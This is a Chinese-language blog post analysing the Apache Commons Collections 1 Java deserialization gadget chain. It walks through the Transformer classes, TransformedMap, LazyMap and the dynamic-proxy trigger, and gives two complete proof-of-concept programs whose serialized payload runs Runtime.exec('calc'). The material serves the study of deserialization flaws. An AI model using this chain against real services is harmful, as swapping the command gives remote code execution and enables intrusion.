CommonsCollections1利用链分析

CommonsCollections1利用链分析

原理

先来看 ysoserial 中的利用链:

    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

其中的核心是那几个 Transformer 类,利用链中都调用了它们的 transform() 方法,首先看一下其作用

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

public interface Transformer {
    Object transform(Object var1);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:

image-20220227114942427
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

代码分析

构造Transformer链

首先通常我们代码执行的写法是这样的:

Runtime.getRuntime().exec("calc"); //弹出计算器

我们把其改写为用 Transformer 类调用的方式:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},
                           new Object[] {"calc"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);

现在我们已经把 transformerChain 构造好了,下一步就是看一下谁调用了 transform()方法来触发这条链。

寻找利用函数

由于我们知道链是什么,所以就直接以TransformedMap类中的checkSetValue()方法为例往下找:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

看这个类TransformedMap的构造函数,保护的,只能被自己调用。然后静态方法decorate()调用了构造函数:

//这个类就相当与对java自带的map添加了新的功能,所以传入了keyTransformer和valueTransformer
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

现在到这里我们看看代码是如何利用的:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},
                           new Object[] {"calc"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

看谁调用了checkSetValue():可以看见只有TransformedMap父类AbstractInputCheckedMapDecorator调用了,是一个抽象类。然后内部的MapEntry类中调用了checkSetValue()

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

再看谁调用了setValue(),会发现这里有很多。实际上如果想一下Entry是干什么的话,就能明白这个代码是干什么的。 我们看一下在Java中,Map里的Entry是什么:

Map是java中的接口,Map.Entry是Map的一个内部接口。

Map提供了一些常用方法,如keySet()entrySet()等方法。

keySet()方法返回值是Map中key值的集合;entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry。它表示Map中的一个实体(一个key-value对)。接口中有getKeygetValuesetValue等方法。

由于Map中存放的元素均为键值对,故每一个键值对必然存在一个映射关系。 Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value (我们总说键值对键值对, 每一个键值对也就是一个Entry) Map.Entry里面包含getKey()getValue()方法

//如何遍历一个Map
for (Map.Entry entry : map.entrySet()) {
 System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue());
}
//可以看到这里的entry就代表一个键值对,通过getKey()和getValue()方法得到键值

现在就可以理解,这里的setValue(),实际上相当于其父类的的setValue()的重写。因为TransformedMap最终是继承于Map的。

我们需要找到一个entry,然后调用了setValue()。最后在AnnotationInvocationHandler类中的readObject()方法中调用了setValue()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...)

memberValues 就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行我们为其精心设计的任意代码。

但是 AnnotationInvocationHandler 这个类并不是public,无法new出来。因此只能通过反射去实例化这个类,AnnotationInvocationHandler 类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的 Map:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

反射获取getRuntime

在这个链中使用到了Runtime.getRuntime(),但是这个类因为没有继承Serializable接口,所以是不能被序列化的。

虽然Runtime类不能被序列化,但是Class类是可以被序列化的,这样就可以通过反射来解决这个问题:

Class c = Runtime.class;
Method f = c.getMethod("getRuntime",null);
Runtime r = (Runtime) f.invoke(null,null);
r.exec("calc");

转换成Transformer的写法就是如下:

Transformer[] transformers = new Transformer[] {
    //第一步先获取Runtime的class类
    //Class c = Runtime.class;
    new ConstantTransformer(Runtime.class),
    //第而步调用getMethod方法,第一个参数为字符串,第二个参数为Class数组
    //Method f = c.getMethod("getRuntime", null);
    new InvokerTransformer("getMethod",
                           new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    //第三步调用invoke方法,第一个参数为Object,第二个参数为Objec数组
    //Runtime r = (Runtime) f.invoke(null,null);
    new InvokerTransformer("invoke",
                           new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    //第四步调用exec方法,跟前面的一样,第一个参数为字符串
    //r.exec("calc");
    new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);

AnnotationInvocationHandler触发setValue条件

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),

                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("testK","testV");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
image-20220307215748608

首先这个this.type就是我们传入的第一个参数Retention.class,得到其对象,再获取成员变量。但是注解Retention没有成员变量。

对我们传入的Map:memberValues迭代:

image-20220307220604957

通过(Entry)var4.next()得到我们put进去的第一个键值对,也就是map.put("testK", "testV"); 然后通过(Class)var3.get(var6)去查找var3中的成员变量var6,也就是testK。可以看到图中的var7null,这是因为Retention没有成员变量为value的。这就不会走到setValue()方法。

那我们看看Retention里面又什么变量:

image-20220307221006684

学过注解的应该知道,这个value()并不是方法,而是一个变量,也就是说Retention中只有value这一个变量,因此我们只需将put() 方法里面的key的值改为value即可:

Map innerMap = new HashMap();
innerMap.put("value","testV");

这里无需关注setValue()传入的对象是否是可控的,因为在ConstantTransformer类中也重写了transform()方法,而ConstantTransformer类的transform()方法无论我们输入参数是什么,它只会返回它构造函数时候所传入的对象,因此该条链总能从Runtime.class开始。

此时完整的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(Runtime.getRuntime()),
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}),
//        };
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

动态代理触发invoke

上面的POC还不是ysoserial的利用链,ysoserial用LazyMap代替了TransformedMap。

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform(),而LazyMap是在其get()方法中执行的 factory.transform() 。其实这也好理解,LazyMap 的作用是“懒加载”,在get()找不到值的时候,它会调用 factory.transform() 方法去获取一个值:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandlerreadObject()方法中并没有直接调用到 Map的get()方法。

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke()方法有调用到get()

image-20220227183846372

ysoserial通过动态代理的方式去触发invoke()方法,因为动态代理类都需要传入一个实现了InvocationHandler接口的类,并且这个类要重写一个invoke()方法:

image-20220308104312825

而当动态代理类的代理对象调用任意方法的时候,就会进入到这个实现了InvocationHandler接口的类中的invoke()方法。

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类就是实现了InvocationHandler接口,因此能够用作动态代理

image-20220308104606509

我们如果将这个对象用Proxy进行代理,那么在readObject()的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get

首先使用LazyMap替换 TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

所以,结合上述的一些修改,最后构造的POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class },
                        new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

总结

以图解的方式回顾一下整条链的利用:

image-20220309125623752
  • 第一条链:从 AnnotationInvocationHandler.readObject() 开始;调用 TransformedMap类从其父类继承回来的 setValue() 方法;然后调用了自身的 checkSetValue() 方法;该方法调用传入的Transformer类的transform() 方法;这里的 Transformer 类能够传入 ChainedTransformer 进行链锁调用,配合ConstantTransformer类和InvokerTransformer类的功能以及反射利用,从而执行任意代码。
  • 第二条连:同样从 AnnotationInvocationHandler.readObject() 开始;利用动态代理调用被代理类的任意方法能够调用代理处理类的invoke()方法的特性,从AnnotationInvocationHandler类的entrySet()方法触发该特性,进入到AnnotationInvocationHandler.invoke();进而调用其中的LazyMap.get()方法;最后get()又会走到transform() 方法;后面的内容跟第一条链相同。

参考链接

Java反序列化之Commons-Collections1链

CommonsCollections1分析

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇